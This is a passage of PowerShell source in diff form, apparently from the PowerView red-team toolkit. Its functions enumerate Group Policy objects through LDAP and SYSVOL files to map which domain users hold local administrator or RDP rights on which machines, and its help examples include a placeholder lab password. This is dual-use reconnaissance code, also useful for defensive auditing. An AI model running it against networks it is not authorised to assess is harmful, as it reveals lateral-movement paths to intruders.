[Alias('ComputerName')] + [ValidateNotNullOrEmpty()] + [String] + $ComputerIdentity, + + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] + [ValidateNotNullOrEmpty()] + [String] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } + + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { + $GpoDN + } + } + else { + # inheritance not marked as disabled yet + $GpoDN + } + } + } + } + + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } + + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } + } + + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } + $GPOSearcher.dispose() + } + } + } +} + + +function Get-DomainGPOLocalGroup { +<# +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ResolveMembersToSIDs + +Switch. Indicates that any member names should be resolved to their domain SIDs. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOLocalGroup + +Returns all local groups set by GPO along with their members and memberof. + +.EXAMPLE + +Get-DomainGPOLocalGroup -ResolveMembersToSIDs + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +.EXAMPLE + +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup + +Return any GPO-set groups for the GPO with the given name/GUID. + +.EXAMPLE + +Get-DomainGPOLocalGroup 'Desktops' + +Return any GPO-set groups for the GPO with the given display name. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +.LINK + +https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $ResolveMembersToSIDs, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach ($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup + } + } + + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } + } + } +} + + +function Get-DomainGPOUserLocalGroupMapping { +<# +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping + +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + $TargetSIDs = @() + + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" + } + } + else { + # no filtering/match all + $TargetSIDs = @('*') + } + + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' + } + else { + # RDP + $TargetLocalSID = 'S-1-5-32-555' + } + + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } + } + + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } + + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } + + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + } +} + + +function Get-DomainGPOComputerLocalGroupMapping { +<# +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what 